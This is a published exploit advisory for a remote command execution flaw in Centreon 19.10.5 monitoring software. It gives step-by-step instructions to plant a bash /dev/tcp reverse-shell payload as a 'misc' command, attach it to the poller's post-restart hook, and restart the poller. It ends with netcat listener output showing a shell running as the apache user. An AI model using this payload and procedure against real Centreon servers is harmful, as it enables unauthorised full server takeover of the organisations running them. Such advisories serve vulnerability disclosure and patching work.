Centreon 19.10.5 Remote Command Execution

`# Exploit Title: Centreon 19.10.5 - 'Pollers' Remote Command Execution  
# Date: 2020-01-27  
# Exploit Author: Omri Baso, Fabien Aunay  
# Vendor Homepage: https://www.centreon.com/  
# Software Link: https://github.com/centreon/centreon  
# Version: 19.10.5  
# Tested on: CentOS 7.7  
# CVE : -  
  
  
Centreon 19.10.5 Remote Command Execution Misc  
  
Trusted by SMBs and Fortune 500 companies worldwide.  
An industry reference in IT Infrastructure monitoring for the enterprise.  
Counts 200,000+ ITOM users worldwide and an international community of software collaborators.  
Presence in Toronto and Luxembourg.  
Deployed in diverse sectors:  
- IT & telecommunication  
- Transportation  
- Government  
- Heath care  
- Retail  
- Utilities  
- Finance & Insurance  
- Aerospace & Defense  
- Manufacturing  
- etc.  
  
  
User input isn't sanitized for safe use - and it is possible to gain a Remote Code Execution of the server  
hosting the Centreon Service leading to a full server takeover with the user "apache"  
  
Steps:  
1.) <BASEURL>/centreon/main.php?p=60803&type=3  
Here we create the Command - can also be found under  
Configuration > Commands > Miscellaneous  
we Press "Add" -  
Command Name: "misc"  
Payload: 0<&121-;exec 121<>/dev/tcp/127.0.0.1/1234;sh <&121 >&121 2>&121  
  
2.) go to: <BASEURL>/centreon/main.php?p=60901  
Configuration > Pollers  
Open "Central" Poller  
add on "Post-Restart command"  
the command "misc" we created  
make Status "Enabled"  
  
3.) Check the box "Post generation command" in the "Export Configuration" Tab  
3.1) Restart Poller and get Shell.  
  
  
  
  
┌─[root@vps]─[~]  
└──╼ #nc -lnvp 1234  
Ncat: Version 7.50 ( https://nmap.org/ncat )  
Ncat: Listening on :::1234  
Ncat: Listening on 0.0.0.0:1234  
Ncat: Connection from 127.0.0.1.  
Ncat: Connection from 127.0.0.1:49184.  
whoami  
apache  
id  
uid=48(apache) gid=48(apache) groups=48(apache),990(centreon-engine),992(centreon-broker),993(nagios),994(centreon)  
___________________________________________________________________  
`